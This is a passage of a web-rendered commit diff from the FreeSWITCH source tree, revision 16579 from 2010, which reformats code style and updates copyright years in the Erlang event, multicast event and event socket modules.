-int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv);
-void ei_init_ref(struct ei_cnode_s *ec, erlang_ref *ref);
-void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send);
-void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send);
-int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf);
-void ei_hash_ref(erlang_ref *ref, char *output);
-int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2);
</del><ins>+void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to);
+void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event);
+void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag);
+int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function);
+int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv);
+void ei_init_ref(struct ei_cnode_s *ec, erlang_ref * ref);
+void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send);
+void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send);
+int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf);
+void ei_hash_ref(erlang_ref * ref, char *output);
+int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2);
</ins><span class="cx"> int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst);
</span><span class="cx"> switch_status_t initialise_ei(struct ei_cnode_s *ec);
</span><span class="cx"> #define ei_encode_switch_event(_b, _e) ei_encode_switch_event_tag(_b, _e, &quot;event&quot;)
</span><span class="lines">@@ -228,14 +228,14 @@
</span><span class="cx">                 break; \
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-#ifdef WIN32 /* MSDN suggested hack to fake errno for network operations */
</del><ins>+#ifdef WIN32                                        /* MSDN suggested hack to fake errno for network operations */
</ins><span class="cx"> /*#define errno WSAGetLastError()*/
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> /* mod_erlang_event.c */
</span><del>-session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session);
-session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session);
-session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session);
</del><ins>+session_elem_t *attach_call_to_registered_process(listener_t *listener, char *reg_name, switch_core_session_t *session);
+session_elem_t *attach_call_to_pid(listener_t *listener, erlang_pid * pid, switch_core_session_t *session);
+session_elem_t *attach_call_to_spawned_process(listener_t *listener, char *module, char *function, switch_core_session_t *session);
</ins><span class="cx"> 
</span><span class="cx"> /* For Emacs:
</span><span class="cx">  * Local Variables:
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_event_multicastmod_event_multicastc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_event_multicast/mod_event_multicast.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -37,7 +37,7 @@
</span><span class="cx"> #define MULTICAST_BUFFSIZE 65536
</span><span class="cx"> 
</span><span class="cx"> /* magic byte sequence */
</span><del>-static unsigned char MAGIC[] = {226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166};
</del><ins>+static unsigned char MAGIC[] = { 226, 132, 177, 197, 152, 198, 142, 211, 172, 197, 158, 208, 169, 208, 135, 197, 166, 207, 154, 196, 166 };
</ins><span class="cx"> static char *MARKER = &quot;1&quot;;
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load);
</span><span class="lines">@@ -87,7 +87,7 @@
</span><span class="cx">         uint32_t count = 0;
</span><span class="cx">         uint8_t custom = 0;
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.ttl = 1;
</span><span class="cx">         globals.key_count = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -116,7 +116,7 @@
</span><span class="cx"> #endif
</span><span class="cx">                         } else if (!strcasecmp(var, &quot;ttl&quot;)) {
</span><span class="cx">                                 int ttl = atoi(val);
</span><del>-                                if ((ttl &amp;&amp; ttl &lt;= 255)  || !strcmp(val, &quot;0&quot;)) {
</del><ins>+                                if ((ttl &amp;&amp; ttl &lt;= 255) || !strcmp(val, &quot;0&quot;)) {
</ins><span class="cx">                                         globals.ttl = (uint8_t) ttl;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid ttl '%s' specified, using default of 1\n&quot;, val);
</span><span class="lines">@@ -176,22 +176,20 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (event-&gt;subclass_name &amp;&amp; (!strcmp(event-&gt;subclass_name, MULTICAST_EVENT) ||
</span><del>-                                !strcmp(event-&gt;subclass_name, MULTICAST_PEERUP) ||
-                                !strcmp(event-&gt;subclass_name, MULTICAST_PEERDOWN))) {
-                char * event_name, *sender;
</del><ins>+                                                                 !strcmp(event-&gt;subclass_name, MULTICAST_PEERUP) || !strcmp(event-&gt;subclass_name, MULTICAST_PEERDOWN))) {
+                char *event_name, *sender;
</ins><span class="cx">                 if ((event_name = switch_event_get_header(event, &quot;orig-event-name&quot;)) &amp;&amp;
</span><del>-                        !strcasecmp(event_name, &quot;HEARTBEAT&quot;) &amp;&amp; 
-                        (sender = switch_event_get_header(event, &quot;orig-multicast-sender&quot;))) {
</del><ins>+                        !strcasecmp(event_name, &quot;HEARTBEAT&quot;) &amp;&amp; (sender = switch_event_get_header(event, &quot;orig-multicast-sender&quot;))) {
</ins><span class="cx">                         struct peer_status *p;
</span><span class="cx">                         time_t now = switch_epoch_time_now(NULL);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!(p = switch_core_hash_find(globals.peer_hash, sender))) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Host %s not already in hash\n&quot;, sender);
</span><span class="cx">                                 p = switch_core_alloc(module_pool, sizeof(struct peer_status));
</span><span class="cx">                                 p-&gt;active = SWITCH_FALSE;
</span><span class="cx">                                 p-&gt;lastseen = 0;
</span><del>-                        /*} else {*/
-                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Host %s last seen %d seconds ago\n&quot;, sender, now - p-&gt;lastseen);*/
</del><ins>+                                /*} else { */
+                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Host %s last seen %d seconds ago\n&quot;, sender, now - p-&gt;lastseen); */
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (!p-&gt;active) {
</span><span class="lines">@@ -200,7 +198,7 @@
</span><span class="cx">                                         char lastseen[21];
</span><span class="cx">                                         switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, &quot;Peer&quot;, sender);
</span><span class="cx">                                         if (p-&gt;lastseen) {
</span><del>-                                                switch_snprintf(lastseen, sizeof(lastseen), &quot;%d&quot;, (int)p-&gt;lastseen);
</del><ins>+                                                switch_snprintf(lastseen, sizeof(lastseen), &quot;%d&quot;, (int) p-&gt;lastseen);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_snprintf(lastseen, sizeof(lastseen), &quot;%s&quot;, &quot;Never&quot;);
</span><span class="cx">                                         }
</span><span class="lines">@@ -246,11 +244,11 @@
</span><span class="cx">                 time_t now = switch_epoch_time_now(NULL);
</span><span class="cx">                 struct peer_status *last;
</span><span class="cx">                 char *host;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
</span><span class="cx">                         switch_hash_this(cur, &amp;key, &amp;keylen, &amp;value);
</span><del>-                        host = (char*) key;
-                        last = (struct peer_status*) value;
</del><ins>+                        host = (char *) key;
+                        last = (struct peer_status *) value;
</ins><span class="cx">                         if (last-&gt;active &amp;&amp; (now - (last-&gt;lastseen)) &gt; 60) {
</span><span class="cx">                                 switch_event_t *local_event;
</span><span class="cx"> 
</span><span class="lines">@@ -258,7 +256,7 @@
</span><span class="cx">                                 if (switch_event_create_subclass(&amp;local_event, SWITCH_EVENT_CUSTOM, MULTICAST_PEERDOWN) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         char lastseen[21];
</span><span class="cx">                                         switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, &quot;Peer&quot;, host);
</span><del>-                                        switch_snprintf(lastseen, sizeof(lastseen), &quot;%d&quot;, (int)last-&gt;lastseen);
</del><ins>+                                        switch_snprintf(lastseen, sizeof(lastseen), &quot;%d&quot;, (int) last-&gt;lastseen);
</ins><span class="cx">                                         switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, &quot;Lastseen&quot;, lastseen);
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Peer %s has gone down; last seen: %s\n&quot;, host, lastseen);
</span><span class="cx"> 
</span><span class="lines">@@ -292,14 +290,14 @@
</span><span class="cx"> #ifdef HAVE_OPENSSL
</span><span class="cx">                                 int outlen, tmplen;
</span><span class="cx">                                 EVP_CIPHER_CTX ctx;
</span><del>-                                char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+                                char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">                                 switch_uuid_t uuid;
</span><span class="cx"> 
</span><span class="cx">                                 switch_uuid_get(&amp;uuid);
</span><span class="cx">                                 switch_uuid_format(uuid_str, &amp;uuid);
</span><del>-                                len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char*)MAGIC);
</del><ins>+                                len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char *) MAGIC);
</ins><span class="cx"> #else
</span><del>-                                len = strlen(packet) + sizeof(globals.host_hash) + strlen((char*) MAGIC);
</del><ins>+                                len = strlen(packet) + sizeof(globals.host_hash) + strlen((char *) MAGIC);
</ins><span class="cx"> #endif
</span><span class="cx">                                 buf = malloc(len + 1);
</span><span class="cx">                                 memset(buf, 0, len + 1);
</span><span class="lines">@@ -313,20 +311,20 @@
</span><span class="cx">                                         EVP_CIPHER_CTX_init(&amp;ctx);
</span><span class="cx">                                         EVP_EncryptInit(&amp;ctx, EVP_bf_cbc(), NULL, NULL);
</span><span class="cx">                                         EVP_CIPHER_CTX_set_key_length(&amp;ctx, strlen(globals.psk));
</span><del>-                                        EVP_EncryptInit(&amp;ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
-                                        EVP_EncryptUpdate(&amp;ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
-                                                        &amp;outlen, (unsigned char*) packet, (int) strlen(packet));
-                                        EVP_EncryptUpdate(&amp;ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
-                                                        &amp;tmplen, (unsigned char*) MAGIC, (int) strlen((char *) MAGIC));
</del><ins>+                                        EVP_EncryptInit(&amp;ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
+                                        EVP_EncryptUpdate(&amp;ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
+                                                                          &amp;outlen, (unsigned char *) packet, (int) strlen(packet));
+                                        EVP_EncryptUpdate(&amp;ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
+                                                                          &amp;tmplen, (unsigned char *) MAGIC, (int) strlen((char *) MAGIC));
</ins><span class="cx">                                         outlen += tmplen;
</span><del>-                                        EVP_EncryptFinal(&amp;ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &amp;tmplen);
</del><ins>+                                        EVP_EncryptFinal(&amp;ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &amp;tmplen);
</ins><span class="cx">                                         outlen += tmplen;
</span><span class="cx">                                         len = (size_t) outlen + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH;
</span><span class="cx">                                         *(buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen) = '\0';
</span><span class="cx">                                 } else {
</span><span class="cx"> #endif
</span><span class="cx">                                         switch_copy_string(buf + sizeof(globals.host_hash), packet, len - sizeof(globals.host_hash));
</span><del>-                                        switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char*) MAGIC)+1);
</del><ins>+                                        switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char *) MAGIC) + 1);
</ins><span class="cx"> #ifdef HAVE_OPENSSL
</span><span class="cx">                                 }
</span><span class="cx"> #endif
</span><span class="lines">@@ -354,8 +352,8 @@
</span><span class="cx"> 
</span><span class="cx">         for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
</span><span class="cx">                 switch_hash_this(cur, &amp;key, &amp;keylen, &amp;value);
</span><del>-                host = (char*) key;
-                last = (struct peer_status*) value;
</del><ins>+                host = (char *) key;
+                last = (struct peer_status *) value;
</ins><span class="cx"> 
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;Peer %s %s; last seen %d seconds ago\n&quot;, host, last-&gt;active ? &quot;UP&quot; : &quot;DOWN&quot;, now - last-&gt;lastseen);
</span><span class="cx">                 i++;
</span><span class="lines">@@ -420,7 +418,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Bind Error\n&quot;);
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_TERM, fail);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_event_reserve_subclass(MULTICAST_EVENT) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't register subclass %s!\n&quot;, MULTICAST_EVENT);
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, fail);
</span><span class="lines">@@ -440,7 +438,6 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't bind!\n&quot;);
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, fail);
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef USE_NONBLOCK
</span><span class="cx">         switch_socket_opt_set(globals.udp_socket, SWITCH_SO_NONBLOCK, TRUE);
</span><span class="cx"> #endif
</span><span class="lines">@@ -454,7 +451,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>- fail:
</del><ins>+  fail:
</ins><span class="cx"> 
</span><span class="cx">         if (globals.udp_socket) {
</span><span class="cx">                 switch_socket_close(globals.udp_socket);
</span><span class="lines">@@ -512,7 +509,6 @@
</span><span class="cx">                 if ((status = switch_socket_recvfrom(addr, globals.udp_socket, 0, buf, &amp;len)) != SWITCH_STATUS_SUCCESS || !len || !globals.running) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifdef USE_NONBLOCK
</span><span class="cx">                 if (!len) {
</span><span class="cx">                         if (SWITCH_STATUS_IS_BREAK(status)) {
</span><span class="lines">@@ -532,7 +528,7 @@
</span><span class="cx">                 }
</span><span class="cx"> #ifdef HAVE_OPENSSL
</span><span class="cx">                 if (globals.psk) {
</span><del>-                        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+                        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">                         char *tmp;
</span><span class="cx">                         int outl, tmplen;
</span><span class="cx">                         EVP_CIPHER_CTX ctx;
</span><span class="lines">@@ -549,22 +545,21 @@
</span><span class="cx">                         EVP_CIPHER_CTX_init(&amp;ctx);
</span><span class="cx">                         EVP_DecryptInit(&amp;ctx, EVP_bf_cbc(), NULL, NULL);
</span><span class="cx">                         EVP_CIPHER_CTX_set_key_length(&amp;ctx, strlen(globals.psk));
</span><del>-                        EVP_DecryptInit(&amp;ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
-                        EVP_DecryptUpdate(&amp;ctx, (unsigned char*) tmp,
-                                        &amp;outl, (unsigned char*) packet, (int) len);
-                        EVP_DecryptFinal(&amp;ctx, (unsigned char*) tmp + outl, &amp;tmplen);
</del><ins>+                        EVP_DecryptInit(&amp;ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
+                        EVP_DecryptUpdate(&amp;ctx, (unsigned char *) tmp, &amp;outl, (unsigned char *) packet, (int) len);
+                        EVP_DecryptFinal(&amp;ctx, (unsigned char *) tmp + outl, &amp;tmplen);
</ins><span class="cx"> 
</span><span class="cx">                         *(tmp + outl + tmplen) = '\0';
</span><span class="cx"> 
</span><del>-                        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;decrypted event as %s\n----------\n of actual length %d (%d) %d\n&quot;, tmp, outl + tmplen, (int) len, (int) strlen(tmp));*/
</del><ins>+                        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;decrypted event as %s\n----------\n of actual length %d (%d) %d\n&quot;, tmp, outl + tmplen, (int) len, (int) strlen(tmp)); */
</ins><span class="cx">                         packet = tmp;
</span><span class="cx"> 
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="cx">                 if ((m = strchr(packet, (int) MAGIC[0])) != 0) {
</span><del>-                        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Found start of magic string\n&quot;);*/
-                        if (!strncmp((char*) MAGIC, m, strlen((char*) MAGIC))) {
-                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Found entire magic string\n&quot;);*/
</del><ins>+                        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Found start of magic string\n&quot;); */
+                        if (!strncmp((char *) MAGIC, m, strlen((char *) MAGIC))) {
+                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Found entire magic string\n&quot;); */
</ins><span class="cx">                                 *m = '\0';
</span><span class="cx">                         } else {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Failed to find entire magic string\n&quot;);
</span><span class="lines">@@ -575,7 +570,7 @@
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;\nEVENT %d\n--------------------------------\n%s\n&quot;, (int) len, packet);*/
</del><ins>+                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;\nEVENT %d\n--------------------------------\n%s\n&quot;, (int) len, packet); */
</ins><span class="cx">                 if (switch_event_create_subclass(&amp;local_event, SWITCH_EVENT_CUSTOM, MULTICAST_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         char *var, *val, *term = NULL, tmpname[128];
</span><span class="cx">                         switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, &quot;Multicast&quot;, &quot;yes&quot;);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_event_socketmod_event_socketc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -98,7 +98,7 @@
</span><span class="cx"> typedef struct listener listener_t;
</span><span class="cx"> 
</span><span class="cx"> static struct {
</span><del>-        switch_mutex_t *listener_mutex;        
</del><ins>+        switch_mutex_t *listener_mutex;
</ins><span class="cx">         switch_event_node_t *node;
</span><span class="cx">         int debug;
</span><span class="cx"> } globals;
</span><span class="lines">@@ -133,8 +133,8 @@
</span><span class="cx"> {
</span><span class="cx">         uint32_t id;
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><del>-    id = ++prefs.id;
-    switch_mutex_unlock(globals.listener_mutex);
</del><ins>+        id = ++prefs.id;
+        switch_mutex_unlock(globals.listener_mutex);
</ins><span class="cx">         return id;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -147,12 +147,12 @@
</span><span class="cx"> static switch_status_t socket_logger(const switch_log_node_t *node, switch_log_level_t level)
</span><span class="cx"> {
</span><span class="cx">         listener_t *l;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="cx">         for (l = listen_list.listeners; l; l = l-&gt;next) {
</span><span class="cx">                 if (switch_test_flag(l, LFLAG_LOG) &amp;&amp; l-&gt;level &gt;= node-&gt;level) {
</span><del>-                        switch_log_node_t *dnode = switch_log_node_dup(node);                        
-                        
</del><ins>+                        switch_log_node_t *dnode = switch_log_node_dup(node);
+
</ins><span class="cx">                         if (switch_queue_trypush(l-&gt;log_queue, dnode) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 if (l-&gt;lost_logs) {
</span><span class="cx">                                         int ll = l-&gt;lost_logs;
</span><span class="lines">@@ -191,17 +191,19 @@
</span><span class="cx">         if (listener-&gt;event_queue) {
</span><span class="cx">                 while (switch_queue_trypop(listener-&gt;event_queue, &amp;pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_t *pevent = (switch_event_t *) pop;
</span><del>-                        if (!pop) continue;
</del><ins>+                        if (!pop)
+                                continue;
</ins><span class="cx">                         switch_event_destroy(&amp;pevent);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t expire_listener(listener_t **listener)
</del><ins>+static switch_status_t expire_listener(listener_t ** listener)
</ins><span class="cx"> {
</span><span class="cx">         listener_t *l;
</span><span class="cx"> 
</span><del>-        if (!listener || !*listener) return SWITCH_STATUS_FALSE;
</del><ins>+        if (!listener || !*listener)
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx">         l = *listener;
</span><span class="cx"> 
</span><span class="cx">         if (!l-&gt;expire_time) {
</span><span class="lines">@@ -218,12 +220,12 @@
</span><span class="cx">         switch_core_hash_destroy(&amp;l-&gt;event_hash);
</span><span class="cx"> 
</span><span class="cx">         if (l-&gt;allowed_event_hash) {
</span><del>-        switch_core_hash_destroy(&amp;l-&gt;allowed_event_hash);
-    }
</del><ins>+                switch_core_hash_destroy(&amp;l-&gt;allowed_event_hash);
+        }
</ins><span class="cx"> 
</span><span class="cx">         if (l-&gt;allowed_api_hash) {
</span><del>-        switch_core_hash_destroy(&amp;l-&gt;allowed_api_hash);
-    }
</del><ins>+                switch_core_hash_destroy(&amp;l-&gt;allowed_api_hash);
+        }
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(l-&gt;filter_mutex);
</span><span class="lines">@@ -250,11 +252,11 @@
</span><span class="cx">         if (!listen_list.ready) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         lp = listen_list.listeners;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><del>-        while(lp) {
</del><ins>+        while (lp) {
</ins><span class="cx">                 int send = 0;
</span><span class="cx"> 
</span><span class="cx">                 l = lp;
</span><span class="lines">@@ -270,11 +272,11 @@
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (l-&gt;expire_time || !switch_test_flag(l, LFLAG_EVENTS)) {
</span><span class="cx">                         last = l;
</span><span class="cx">                         continue;
</span><del>-                }                
</del><ins>+                }
</ins><span class="cx"> 
</span><span class="cx">                 if (l-&gt;event_list[SWITCH_EVENT_ALL]) {
</span><span class="cx">                         send = 1;
</span><span class="lines">@@ -283,7 +285,7 @@
</span><span class="cx">                                 send = 1;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (send &amp;&amp; l-&gt;filters &amp;&amp; l-&gt;filters-&gt;headers) {
</span><span class="cx">                         switch_event_header_t *hp;
</span><span class="cx">                         const char *hval;
</span><span class="lines">@@ -313,12 +315,12 @@
</span><span class="cx">                                         if (!comp_to) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (*hp-&gt;value == '/') {
</span><span class="cx">                                                 switch_regex_t *re = NULL;
</span><span class="cx">                                                 int ovector[30];
</span><span class="cx">                                                 cmp = !!switch_regex_perform(hval, comp_to, &amp;re, ovector, sizeof(ovector) / sizeof(ovector[0]));
</span><del>-                                                switch_regex_safe_free(re);                                                
</del><ins>+                                                switch_regex_safe_free(re);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 cmp = !strcasecmp(hval, comp_to);
</span><span class="cx">                                         }
</span><span class="lines">@@ -335,7 +337,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_mutex_unlock(l-&gt;filter_mutex);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (send &amp;&amp; switch_test_flag(l, LFLAG_MYEVENTS)) {
</span><span class="cx">                         char *uuid = switch_event_get_header(event, &quot;unique-id&quot;);
</span><span class="cx">                         if (!uuid || strcmp(uuid, switch_core_session_get_uuid(l-&gt;session))) {
</span><span class="lines">@@ -460,19 +462,19 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (switch_test_flag(listener, LFLAG_ASYNC)) {                
</del><ins>+        if (switch_test_flag(listener, LFLAG_ASYNC)) {
</ins><span class="cx">                 const char *var;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 launch_listener_thread(listener);
</span><span class="cx"> 
</span><del>-                while(switch_channel_ready(channel) &amp;&amp; !switch_test_flag(listener, LFLAG_CONNECTED)) {
</del><ins>+                while (switch_channel_ready(channel) &amp;&amp; !switch_test_flag(listener, LFLAG_CONNECTED)) {
</ins><span class="cx">                         switch_cond_next();
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_ivr_park(session, NULL);
</span><span class="cx"> 
</span><span class="cx">                 switch_ivr_parse_all_events(session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_test_flag(listener, LFLAG_RESUME) || ((var = switch_channel_get_variable(channel, &quot;socket_resume&quot;)) &amp;&amp; switch_true(var))) {
</span><span class="cx">                         switch_channel_set_state(channel, CS_EXECUTE);
</span><span class="cx">                 }
</span><span class="lines">@@ -491,7 +493,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static void close_socket(switch_socket_t **sock)
</del><ins>+static void close_socket(switch_socket_t ** sock)
</ins><span class="cx"> {
</span><span class="cx">         switch_mutex_lock(listen_list.sock_mutex);
</span><span class="cx">         if (*sock) {
</span><span class="lines">@@ -524,7 +526,7 @@
</span><span class="cx">         switch_event_unbind(&amp;globals.node);
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(prefs.ip);
</span><del>-        switch_safe_free(prefs.password);        
</del><ins>+        switch_safe_free(prefs.password);
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -616,25 +618,25 @@
</span><span class="cx">         listener_t *listener = NULL;
</span><span class="cx"> 
</span><span class="cx">         if (stream-&gt;param_event) {
</span><del>-        http = switch_event_get_header(stream-&gt;param_event, &quot;http-host&quot;);
